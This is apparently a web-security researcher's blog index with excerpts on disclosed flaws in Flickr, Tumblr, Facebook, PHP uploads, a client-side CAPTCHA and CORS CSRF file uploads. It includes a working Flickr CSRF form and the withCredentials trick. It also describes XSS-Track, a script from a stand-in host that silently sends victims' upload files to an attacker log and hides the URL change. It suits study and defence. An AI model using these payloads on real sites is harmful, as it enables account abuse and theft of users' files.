tldr: You're using easyXDM? Upgrade NOW. Otherwise - read up on exploiting difficult Flash vulnerabilities in practice.
Secure cross-domain communication is hard enough, but it's a piece of cake compared to making it work in legacy browsers. One popular library that tries to handle all the quirks and even builds an RPC framework is easyXDM.
But this is not an advertisement. As usual, you only get to hear about easyXDM here, because I found some interesting vulnerabilities. Combined, those allow me to XSS websites using that library. Certain conditions apply. As exploiting the subject matter is quite complex, I decided to split the post into two parts, this being the first one.
In September 2011 I've discovered a vulnerability that allows attacker to partially take control over victim's Facebook account. Vulnerability allowed, among other things, to send status updates on behalf of user and send friend requests to attackers' controlled Facebook account. The vulnerability has been responsibly disclosed as part of Facebook Security Bug Bounty program and is now fixed.
tldr;Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.
Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. Geocommons.com is one of them - and this is the story of how geocommons got really common.
GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.
There was a critical vulnerability in geocommons.com website allowing any user to change e-mail address of administrative user and hijack the admin account. According to vendor, vulnerability is now fixed.
Last week I had a pleasure of giving a lecture talk for HackerPraktikum (HackPra) course at Ruhr-Universität Bochum. The talk entitled HTML5: Something wicked this way comes described various HTML5 / UI redressing techniques for attacking websites & Chrome extensions. There is also some unpleasant surprise for Google Chrome to Phone users.
Tumblr.com is a microblogging platform with over 32 millions of users, with Alexa global rank of 45. Tumblr.com had a CSRF vulnerability on blog settings page http://tumblr.com/tumblelog/[blog-name]/settings that allowed for launching targeted attacks against a specified blog to hijack its domain and perform other potentially severe actions on behalf of a victim user.
Minus ( http://min.us - now moved to http://minus.com ) is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was recently featured in Techcrunch.com, Sitepoint, Lifehacker, Wall Street Journal etc. Minus recently raised $1M from IDG Capital Partners.
A few months ago I've found a way to silently upload and publish a file of attacker's choosing on behalf of a logged in Minus user, similar to what I found on Flickr. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at SecurityByte 2011.
CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") are security controls used to prevent automated attacks against a website. You can see them in Gmail account register pages, blog comment forms etc. Sometimes they are used as a CSRF attack countermeasure.
How to do it?
Designing CAPTCHA challenge is hard - you need to fight OCRs (if the CAPTCHA is based on image recognition) and cheap labour (attackers pay $12 for solving 500 CAPTCHA, according to OWASP). On the other hand, it needs to be solvable by your users - so this one, while certainly being a strong challenge, is probably not a good idea ;)
But no matter what the challenge, the whole CAPTCHA architecture must be secure. For example:
it must be protected against replay attacks (CAPTCHA ID generated once cannot be reused)
CAPTCHA given for one session should not be valid in other session. There must be a relation between CAPTCHA and a session, so that the attacker won't solve the CAPTCHA (e.g. manually) in his own session and submit the solved value in the other session.
CAPTCHA solution must not be stored on the client
it must be protected against brute-force attack (e.g.require another CAPTCHA after a few invalid responses)
The amount of possible CAPTCHAs must be A Big Number (bruteforce protection).
I really recommend all the developers to read Strong CAPTCHA guidelines as many design issues are tricky.
MotionCAPTCHA - The fail of the day
What pushed me into writing this blog post is the MotionCAPTCHA project I encountered. It's a HTML5 (yay!) canvas based project where the challenge is to repeat drawing a given shape to prove being a human. I've seen a few broken CAPTCHAs in my life, but this one is just over the top. Just two examples:
These are the available shapes (all 16 of them):
And this is how you implement it (cited from the readme):
You manually disable your form, by emptying the form's action attribute, and placing its value in a hidden <input> with a specific ID. You should also put disabled="disabled" on the submit button, for added points.
You add a few HTML lines to your form to initialise the MotionCAPTCHA canvas, and add the plugin's scripts to your page.
The user draws the shape and, if it checks out, the plugin inserts the form's action into the <form> tag. The user can submit the form, happy days.
I mean, WTF? So the form looks like this:
<form action="#" method="post" id="mc-form">
<p><input class="placeholder" type="text" placeholder="your name …"></p>
<p><input class="placeholder" type="email" placeholder="your email address …"></p>
<p><textarea class="placeholder" placeholder="your message …" cols="" rows="3"></textarea></p>
<div id="mc">
<p>Please draw the shape in the box to submit the form: (<a onclick="window.location.reload()" href="#" title="Click for a new shape">new shape</a>)</p>
<canvas id="mc-canvas">
Your browser doesn't support the canvas element - please visit in a modern browser.
</canvas>
<input type="hidden" id="mc-action" value="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/" />
</div>
<p><input disabled="disabled" autocomplete="false" type="submit" value="Submit"></p>
<p><a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="josscrowcroft">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></p>
</form>
and when I solve the challenge, the 'mc-action' will become the form action and the form submits? And the server does not care about the challenge cause it's client side only? How about bot POSTing the form in its entirety to the mc-action URL and bypassing the CAPTCHA completely? #security #fail! Client side CAPTCHA will never be secure, it just can't!
Since the thing went public before new PHP version has been released, I present full details of the latest PHP vulnerability I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent fileuploadresearch. And I still have some more to show in the future :)
My thanks go to Paweł Goleń who helped analyze the vulnerability.
The PHP Part
The whole issue is tracked as PHP bug #54939, but the website is now down. The exemplary exploit is at pastebin. The nature of the bug is simple. PHP claims to remove the path component from HTTP file upload forms (transferred as MIME multipart/form-data requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: c:\WINDOWS\WHATEVER\My_file.txt).
However, in 2008 PHP developers made a off-by-one error, and, as a result, if a name starts with \ or / and has no other (back)slashes, it's left as-is. So, this allows for:
/vmlinuz
/autorun.inf (/ will map to C:\ in WINDOWS - the drive where your PHP is run from)
/boot.ini
and other interesting file "names" to pass through.
Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.
Described vulnerability has been quickly fixed by Flickr.com team.
Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).
On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.
To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.
Attack
Malicious page with this HTML code:
<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>
was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).
Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.
As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).
As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.
Timeline
17.05.2011 - vulnerability discovered
18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released
Remember how it was possible to upload files with arbitrary names & contents cross domain? The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)
I can haz cookies!
I still don't know how did I miss this, but it's just a one-line change:
xhr.withCredentials = "true";
That's it. With this flag set:
CORS simple requests will include cookies / HTTP auth
CORS preflighted requests will ask for permission to include them
Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:
"Take those cookies to your grandma", said The Browser
Victim logs in to victim.whatever.com website
He receives a session cookie for future requests
In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)
"Browser, I really need you to send this tiny little harmless POST to victim"
Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.
"Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"
victim app receives the POST file upload with the cookie, so it processes the upload and responds.
"What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"
Browser looks at the response and, not having appropriate CORS response headers, discards the response.
"Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"
Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated theexamples with the new code.
Update:Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, minus.com, Tumblr.com and others. It seems that many file upload forms lack anti CSRF tokens.
HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.
The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.
Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:
Back in the days of browser wars, there was a joke: Internet Explorer is the only web browser that makes Internet browse your computer. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.
WebSockets is definately one of the brighter features of HTML5. It allows for easy and efficient real-time commucation with the server, and with the introduction of Socket.IO, node.js and similar libraries, it is sure to gain popularity. It's a must when you're developing an interactive application like chat, game, realtime reporting system etc.
But, from a security standpoint there are many things to consider when implementing WebSockets in your next project. I don't call them vulnerabilities - but they will most likely create a vulnerability when not dealt with correctly. In this post I describe all these aspects and releasesocket_io_client - tool for testing & exploiting WebSockets servers.
If you'd like to know a little more about HTML5 & security, in January I will be giving a one-day training with Niebezpiecznik.pl entitled "Hacking HTML5".
Topics covered:
New XSS vectors in HTML5
Cross Origin Resource Sharing
Cross Document Messaging
XMLHttpRequest Level 2
Offline cache & other client-side storages
Web SQL
Web sockets
Clickjacking with HTML5
Geolocation
... and others. Several vulnerabilities and attacks will be taught together with instructions on how to implement above features securely. Many existing HTML5-related tools (e.g. by Lavakumark Kuppan of andlabs.org or some of mine) will be presented. Special attention will be put to HTML5 features that may break existing legacy HTML4/XHTML applications.
We will be attacking and defending a prepared social networking application.
If you're interested and able to come to Cracow this January, read more about the program & register. Contact me and maybe we can arrange some discounts for the training ;)
Recently I've been doing some HTML5 hacking and I encountered Imposter by Lavakumar Kuppan. It's a framework to perform browser phishing attacks - a tool that integrates a DNS server, a web server and a configuration utility running on Windows machine. Once a victim connects to Imposter (e.g. through a rogue WiFi access point) it tries to e.g. steal his cookies, inject payloads into chosen websites etc. There is also a module that uses HTML5 offline cache to store the payload permanently in allsupportingbrowsers. It's a pretty clever framework, but it requires Windows.
I've decided to take away the HTML5 offline cache storage functionality and port it to Linux. The result is presented here as Squid-imposter. Now you can easily spoof websites that will be stored in victim's browser cache forever.
HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.
Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.
As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.
Support
This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:
Chrome,
FF 3.6 (meta-data only)
FF 4.0
... and many more in the future as HTML5 is coming :)
Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.
XSS-Track, a point of concept project on how to track users through XSS vulnerability today got even better: now it can change URL in browser address bar as you navigate through the site, making it even more transparent for the victim.
It is possible thanks to a HTML5 feature - window.history.pushState(). It was created for AJAX websites so that they could easily change window location bar and manipulate history. Read more about the it on WHATWG site.
It's a great and convenient feature for developers - for example, AJAX apps can now easily support back & forward buttons without resorting to URI fragment identifier (#) hacks. But it can also be used for malicious purposes. Basically, in HTML5 you can no longer trust the location bar. For security reasons, specs say you can only change a path (i.e. not hostname, port etc.) and of course it is subject to same-origin restrictions but that is enough for XSS-Track. So now we have these convenient functions in XSS-track source code:
var getPath = function(url) {
return url.match(/(\/.*)/)[1];
};
var changeAddressBar = function(url) {
try {
// html5 goodness - should work in Safari, Chrome, FF 4
window.history.pushState({}, "", getPath(url));
} catch(e) {}
};
and navigating a link within vulnerable domain will update the address bar path accordingly, making XSS-track practically invisible (unless you click an external link).
Disclaimer: window.history.pushState() works in Chrome 5, Safari 5 and Firefox 4 and more browsers will come in future. When it's not available, XSS-Track will just leave the URL of a vulnerable page, so we're forward compatible. Try and hack the demo site to see the effects in one of those browsers to see it in action. HTML5 FTW!